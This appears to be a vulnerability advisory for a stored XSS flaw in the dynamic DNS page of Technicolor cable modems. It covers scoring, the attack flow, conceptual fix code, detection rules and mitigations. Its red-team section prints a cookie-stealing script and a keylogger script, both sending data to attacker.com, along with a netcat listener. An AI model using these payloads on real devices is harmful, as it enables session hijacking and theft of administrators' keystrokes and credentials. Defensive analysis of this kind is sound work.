CVE-2024-28090

Executive Summary

CVE-2024-28090 identifies a stored Cross-Site Scripting (XSS) vulnerability in the Technicolor TC8715D and TC8717T cable modem/router devices. An attacker within Wi-Fi proximity can inject malicious scripts via the "User name" parameter in the dyn_dns.asp page. This vulnerability allows for persistent script execution in the context of the authenticated user's session, potentially leading to session hijacking, credential theft, or further device compromise. The vendor has not released a patch, leaving affected devices exposed.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded devices.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a realistic assessment is:

• Attack Vector (AV): Adjacent Network (A) – Requires Wi-Fi proximity.
• Attack Complexity (AC): Low (L) – No special conditions.
• Privileges Required (PR): None (N) – No authentication needed to reach the vulnerable page.
• User Interaction (UI): Required (R) – The victim must be logged into the admin interface.
• Scope (S): Changed (C) – The script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Potential for data exfiltration.
• Integrity (I): Low (L) – Script injection can modify content.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Score: 4.6 (Medium)

Threat Level: Medium. The requirement for Wi-Fi proximity and user interaction reduces the immediate risk, but the lack of a patch and the potential for persistent compromise elevate the threat.

Deep Dive & Mechanics

The vulnerability resides in the dyn_dns.asp page, which is part of the device's web-based management interface. This page likely handles Dynamic DNS (DDNS) configuration. The "User name" input field is not properly sanitized or encoded before being stored and later rendered in the HTML response.

Attack Flow:

1. An attacker connects to the device's Wi-Fi network (or is within range).
2. The attacker navigates to http://<router-ip>/dyn_dns.asp and injects a malicious payload into the "User name" field, e.g., <script>alert('XSS')</script>.
3. The device stores this payload in its configuration (e.g., NVRAM or a configuration file).
4. When an administrator (or any authenticated user) visits the dyn_dns.asp page, the stored payload is executed in their browser.
5. The attacker can then perform actions such as stealing session cookies, redirecting to phishing pages, or executing further commands against the router's API.

Root Cause: Lack of output encoding or input validation on the "User name" parameter. The application likely echoes the stored value directly into the HTML without escaping HTML entities.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is based on secure coding principles.

Vulnerable Code (Conceptual ASP):

<%
Dim userName
userName = Request.Form("user_name")
' Store in configuration without sanitization
Config.Write("ddns_user", userName)
%>
...
<input type="text" name="user_name" value="<%= Config.Read("ddns_user") %>">

Patched Code (Conceptual ASP):

<%
Dim userName
userName = Request.Form("user_name")
' Sanitize input - remove script tags or encode
userName = Server.HTMLEncode(userName)
' Store sanitized value
Config.Write("ddns_user", userName)
%>
...
<input type="text" name="user_name" value="<%= Server.HTMLEncode(Config.Read("ddns_user")) %>">

The patched version uses Server.HTMLEncode() to convert characters like < and > into < and >, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Technicolor TC8715D with firmware TC8715D-01.EF.04.38.00-180405-S-FF9-D.
• Attacker Machine: Kali Linux with a Wi-Fi adapter.
• Victim Machine: Any device with a browser (e.g., Windows 10) connected to the router's Wi-Fi.

Exploitation Steps:

1. Connect to the target Wi-Fi network.
2. Open a browser and navigate to http://192.168.0.1/dyn_dns.asp (adjust IP as needed).
3. In the "User name" field, inject a payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. Set up a listener on the attacker machine:

   nc -lvnp 80
   

6. Wait for an admin to visit the dyn_dns.asp page. The cookie will be sent to the attacker.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual POST requests to /dyn_dns.asp with suspicious parameters.
• Use network monitoring to detect outbound connections to unknown IPs from the router's management interface.
• Implement a Web Application Firewall (WAF) rule to block common XSS patterns in the user_name parameter.

Mitigation:

• Since no patch exists, disable remote management and restrict access to the admin interface to trusted devices only.
• Change the default admin password and use strong, unique credentials.
• Monitor for firmware updates from Technicolor.
• As a workaround, consider placing the device behind a firewall that can inspect and sanitize HTTP traffic.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from the router to an external IP on port 80/443 containing cookie data.
  • Unusual POST requests to /dyn_dns.asp with user_name containing <script> tags.
• Host (Router):
  • Modified dyn_dns.asp configuration with script tags in the username field.
  • Unexpected processes or scripts running on the router (if accessible via shell).
• Logs:
  • Web server logs showing repeated access to /dyn_dns.asp from a single IP.
  • Error logs indicating failed script execution (e.g., JavaScript errors).

Detection Engineering

YARA Rule

rule CVE_2024_28090_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in Technicolor router config"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-28090"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $dyn_dns = "dyn_dns.asp"
    condition:
        $dyn_dns and $xss_payload
}

Sigma Rule

title: Stored XSS in Technicolor Router dyn_dns.asp
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-28090 by injecting XSS payloads into the User name field.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/dyn_dns.asp'
        cs-uri-query|contains: 'user_name='
    filter:
        cs-uri-query|contains: 'user_name=<script'
    condition: selection and filter
falsepositives:
    - Legitimate use of script tags in username (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28090 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/dyn_dns.asp"; http_uri; content:"user_name="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: Turn off WAN-side access to the admin interface.
2. Restrict Wi-Fi Access: Use strong WPA2/3 encryption and limit the number of connected devices.
3. Change Default Credentials: Ensure the admin password is strong and not default.
4. Monitor for Updates: Check Technicolor's support page regularly for firmware patches.

Long-Term Solutions:

• Replace Device: If no patch is released, consider replacing the router with a vendor that provides security updates.
• Network Segmentation: Place the router in a separate VLAN and restrict access to its management interface.
• Web Application Firewall: Deploy a WAF (e.g., ModSecurity) in front of the router's web interface to filter malicious requests.

Workaround (if patching is not possible):

• Block access to /dyn_dns.asp via firewall rules or by modifying the router's configuration (if possible).
• Use a reverse proxy that sanitizes input before forwarding to the router.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert